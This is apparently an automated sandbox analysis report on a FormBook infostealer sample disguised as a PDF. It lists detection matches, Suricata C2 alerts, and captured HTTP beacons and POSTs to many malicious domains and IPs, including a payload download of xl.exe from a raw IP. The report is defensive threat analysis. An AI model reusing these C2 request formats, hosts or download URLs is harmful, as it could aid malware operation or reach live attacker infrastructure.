Windows Analysis Report
SC_TR11670000_pdf.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4206800241.0000000004BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4204068794.0000000002F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205129970.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205169396.0000000003670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1923090053.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924622437.0000000005730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924200724.00000000039A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4204999427.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SC_TR11670000_pdf.exe

Joe Sandbox ML: detected

Source: SC_TR11670000_pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: recover.pdb source: svchost.exe, 00000001.00000002.1923423245.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923449435.0000000003019000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000002.4204509034.0000000001028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: oCCZhsVsNwIIN.exe, 00000002.00000000.1840086036.0000000000FBE000.00000002.00000001.01000000.00000004.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4204891761.0000000000FBE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: SC_TR11670000_pdf.exe, 00000000.00000003.1748508561.0000000003B40000.00000004.00001000.00020000.00000000.sdmp, SC_TR11670000_pdf.exe, 00000000.00000003.1751290311.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1823259781.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1825302443.0000000003400000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000003.1923376601.0000000003521000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, recover.exe, 00000003.00000003.1925879400.0000000003721000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SC_TR11670000_pdf.exe, 00000000.00000003.1748508561.0000000003B40000.00000004.00001000.00020000.00000000.sdmp, SC_TR11670000_pdf.exe, 00000000.00000003.1751290311.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1823259781.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1825302443.0000000003400000.00000004.00000020.00020000.00000000.sdmp, recover.exe, recover.exe, 00000003.00000003.1923376601.0000000003521000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, recover.exe, 00000003.00000003.1925879400.0000000003721000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: recover.pdbGCTL source: svchost.exe, 00000001.00000002.1923423245.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923449435.0000000003019000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000002.4204509034.0000000001028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: recover.exe, 00000003.00000002.4205854920.0000000003EFC000.00000004.10000000.00040000.00000000.sdmp, recover.exe, 00000003.00000002.4204255129.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000027BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2219879934.0000000024C6C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: recover.exe, 00000003.00000002.4205854920.0000000003EFC000.00000004.10000000.00040000.00000000.sdmp, recover.exe, 00000003.00000002.4204255129.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000027BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2219879934.0000000024C6C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B44696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00B44696
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00B4C9C7
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4C93C FindFirstFileW,FindClose,	0_2_00B4C93C
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00B4F200
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00B4F35D
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00B4F65E
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B43A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00B43A2B
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B43D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00B43D4E
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00B4BF27
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F8C5C0 FindFirstFileW,FindNextFileW,FindClose,	3_2_02F8C5C0

Source: C:\Windows\SysWOW64\recover.exe	Code function: 4x nop then xor eax, eax	3_2_02F79DD0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 4x nop then pop edi	3_2_02F7E1E7
Source: C:\Windows\SysWOW64\recover.exe	Code function: 4x nop then mov ebx, 00000004h	3_2_037D04DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49740 -> 172.67.158.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49768 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49738 -> 172.67.158.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49737 -> 172.67.158.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49802 -> 209.74.64.58:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49780 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49774 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49813 -> 209.74.64.58:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49953 -> 104.21.74.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49946 -> 104.21.74.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49959 -> 104.21.74.79:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50020 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50034 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50031 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50038 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49984 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50030 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50032 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50047 -> 172.67.149.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50051 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49819 -> 209.74.64.58:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50046 -> 172.67.149.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50050 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49998 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50048 -> 172.67.149.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50040 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50042 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50044 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50036 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50043 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50027 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49992 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50028 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50035 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50039 -> 217.160.0.60:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.030002128.xyz
Source:	DNS query: www.tlcatlas.xyz
Source:	DNS query: www.030002059.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 161.97.142.144 161.97.142.144

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CONTABODE CONTABODE

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49836 -> 45.200.148.45:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49886 -> 45.200.148.45:80

Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.45
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B525E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00B525E2

Source: global traffic	HTTP traffic detected: GET /jbgy/?9B_ppt=WpM+dDwUrs4Ykb5b1dnjbOfiyH7DQBbUygihNlQvbeZsifJZmgd82eWBWlqYoXZ4M0nFDUKlc8dkNQUv++NgzJUq6TxFRvYz6U7LgU8Svc64lC0D7BgxK28=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.idsmart.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /90oi/?9B_ppt=WdGxuHz/ABXbnxDuMcWeaiAtNv6zbYEnDSFRQwgnlI3l3VbPFG0OHzktVpkkqW+LG4OUxeltpIvdJ1ISlR18S3Wjl2Tf6Ort1F9q8CbBD/86Ywb40YjbYcY=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.sortcouponspot.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fc2m/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=KaGAZ9vwQsncwU5nwlZluG2PCpLyPNSLaK7d9k0MP6z2D5ilW5umnwpx9tHUSLWoKaQi0X2AhHSzaYzkOXBuKcmexX+9MUXLmjX2PXKDTiDXtSOs+tfg8AM= HTTP/1.1Host: www.030002128.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /0b3u/?9B_ppt=tWVMWWWOulwRw9KA3wu02d5KKGx3TcL9CpbeAEn5Jw6VZuj1AgCYZL+g8ZTCy/ZQwoOBNq7+YyWmcbYUwrN2tYgo9+cX77aYkG8YuMsAadwBJ35R4yxBFts=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.quicktraze.websiteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /dashboard/xl.exe HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)Host: 45.200.148.45Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dashboard/xl.exe HTTP/1.1Host: 45.200.148.45Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /irzc/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=nYLQ8syZYIEqykNPtdlYwElZKL5y37q0UOpjKQ4AHu5ne0cyyooyzOVigyhm4upFaEQ5FVDL9IYlN2EnnOtWol53ChrSdq3Cue46r4D6qSkCmEW9rZbuVVo= HTTP/1.1Host: www.tenmyk.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fhx4/?9B_ppt=La2w8Dit9+06W6UDzOpyWaSJwhDt0En/zF10s3Y0GLWWp3W5XYBJe4ay5kbJYoMqdVQ5UuPTPFY7LReVYSqnXR+zSVGbwszjyZbrKje2k/1r3Ly4XgGf/cA=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.tlcatlas.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /i7vz/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=Uo31g2cBlJ7Y51X9qiyWPllw2i3mGNMb8MW7X7OuPhPba7zW9vHCK1/tPALhEq4c3dLOMnOYn0E6ZXOZtUsElcj8T2RWijJqpTgaIG46XXD/8sezv8KfXnc= HTTP/1.1Host: www.xphone.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /r67x/?9B_ppt=1GFNWjEU8kwZ/mmLeya/cJNKrhAK4goi9jYztsjxkrAaNpZX0l6jkYi+VfuO97QxGNgBCFFWLt6B6VM0bCruEmjStFMTCnvezkXJEF9Ro0QfaPDcmWgUP4M=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.basicreviews.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /3qlo/?9B_ppt=T329z6mTpDO/RjmIsaX6GxS+fVaV1tgKwTndei0jE2s03jQmQlLR7HOZ8ZNHnRQMcrtNhio3hbZStuVrccVySYYypr0GxKLOZ6Y8dZz+3cHpxqLj7fYKvSQ=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.stationseek.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /tycs/?9B_ppt=JnL2shJTRGPmh49fpIgYgN5+UFlzCIkQlKFRWx+imQO/VZY5IL7EOXQuybzppj9USUhCNE2Oi8OvmQ7twQzrLnOW74Dzktiy3u2kYAFK0p92dbQcp3RrNNk=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.solarand.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /er88/?9B_ppt=i44cfvhGA8d2n3UYXaCGfuZ18OIgEphd3DXa+grkxbY00W8PtxsyWNCcnvl5XmwHEQha9wDhby9/6Haw/gmAEUgIq47tXTEuO1ZaxpFdonJQgsoz6uRXQGU=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1Host: www.030002059.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)

Source: global traffic	DNS traffic detected: DNS query: www.idsmart.online
Source: global traffic	DNS traffic detected: DNS query: www.sortcouponspot.shop
Source: global traffic	DNS traffic detected: DNS query: www.030002128.xyz
Source: global traffic	DNS traffic detected: DNS query: www.quicktraze.website
Source: global traffic	DNS traffic detected: DNS query: www.tenmyk.shop
Source: global traffic	DNS traffic detected: DNS query: www.tlcatlas.xyz
Source: global traffic	DNS traffic detected: DNS query: www.xphone.net
Source: global traffic	DNS traffic detected: DNS query: www.basicreviews.online
Source: global traffic	DNS traffic detected: DNS query: www.89180.app
Source: global traffic	DNS traffic detected: DNS query: www.stationseek.online
Source: global traffic	DNS traffic detected: DNS query: www.solarand.online
Source: global traffic	DNS traffic detected: DNS query: www.030002059.xyz
Source: global traffic	DNS traffic detected: DNS query: www.salju777-rtp.click
Source: global traffic	DNS traffic detected: DNS query: www.tdassetmgt.info

Source: unknown

HTTP traffic detected: POST /90oi/ HTTP/1.1Host: www.sortcouponspot.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-usOrigin: http://www.sortcouponspot.shopCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 203Referer: http://www.sortcouponspot.shop/90oi/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)Data Raw: 39 42 5f 70 70 74 3d 62 66 75 52 74 77 54 74 50 53 7a 46 71 48 50 68 4c 70 57 6c 65 54 64 51 4f 5a 6a 43 57 34 42 4f 49 78 39 4f 63 52 73 63 6a 35 61 63 36 69 4c 33 4a 32 49 58 4e 51 59 51 53 4b 73 69 72 68 54 31 42 37 57 44 32 4f 5a 42 78 38 72 6e 49 46 4a 74 6d 78 31 38 57 6d 6e 32 75 78 76 71 6f 4f 4c 49 30 45 5a 72 36 48 36 5a 47 62 6b 61 64 51 44 4c 7a 5a 71 69 56 4c 78 4e 66 39 4a 75 74 43 6a 4f 6f 50 30 72 75 74 48 32 57 7a 4d 41 63 51 57 59 73 4a 79 34 58 47 69 74 76 7a 42 57 50 4e 51 54 57 64 56 34 78 7a 6e 63 33 76 30 30 58 54 68 32 6c 4d 79 4b 36 55 70 71 30 50 35 59 62 53 6d 6b 30 77 3d 3d Data Ascii: 9B_ppt=bfuRtwTtPSzFqHPhLpWleTdQOZjCW4BOIx9OcRscj5ac6iL3J2IXNQYQSKsirhT1B7WD2OZBx8rnIFJtmx18Wmn2uxvqoOLI0EZr6H6ZGbkadQDLzZqiVLxNf9JutCjOoP0rutH2WzMAcQWYsJy4XGitvzBWPNQTWdV4xznc3v00XTh2lMyK6Upq0P5YbSmk0w==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:07:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 